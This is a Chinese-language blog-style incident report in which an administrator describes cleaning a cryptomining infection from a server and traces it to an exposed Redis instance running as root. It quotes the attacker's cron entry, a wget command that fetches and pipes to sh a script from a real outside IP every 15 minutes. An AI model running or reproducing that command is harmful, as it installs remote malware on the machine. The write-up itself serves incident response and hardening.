病毒清除
事情都解决了好多天,今天来总结一下,那天开发问数据备份没有没有拉到他们的那台服务器上,于是乎就去看了一下为什么定时任务没有执行,看了之后,waht???我的定时任务全部没了,NND
定时任务就只有一个:
*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh
what?下意识的去看了一下cron log,发现出事情了,因为从log来看,(wget) ERROR (getpwnam() failed)是直接写进/var/spool/cron/root文件的
根据时间去history去翻命令log (histroy加上时间参数还是有作用的), 发现没有命令往cron写命令,猜测并不是我们的运维去操作的,再看这个log,发现特么这个ip是美国的,
检查/root/ssh/下,发现了一个Key,时间正好也和cron上log时间相对于,立马想到,服务器给攻击了,,,,
查看脚本内容发现如下:
感情是把我的服务器给当矿机了...MMP,删除cron的内容,查找ddgs的进程,把它给kill掉,删除/tmp下的ddgs.3013文件,查看top发现还有一个进程也特么使用率非常高,qW3xT.2 ,同样的,也给删除掉,删除掉/root/下的key,再次检查一下,发现已经给清掉了,此时,应该查找问题源头,然后备份重要文件,对服务器进行重新安装系统,因为,不重装没办法保证彻底清理干净,so,应急方案得有,一模一样得服务器一台,有问题,立马切换接管,平时不用都行,甚至虚拟机都成,作为临时接管对象。
查找问题源
同样分析为什么会出现这种情况,能够清除cron,还能够往ssh key里面写内容,唯一能够想到的,便是redis了,redis是用root登录的,是有权利写入ssh key的,,密码即为简单,且防火墙允许公网上所有IP连接,于是乎,进入redis,想去看看有没有什么蛛丝马迹,遗憾发现没有什么有用的信息,so,防火墙开放redis的端口对特有的IP开放,其实不仅仅是Redis,各种开放的端口,尽量最小化。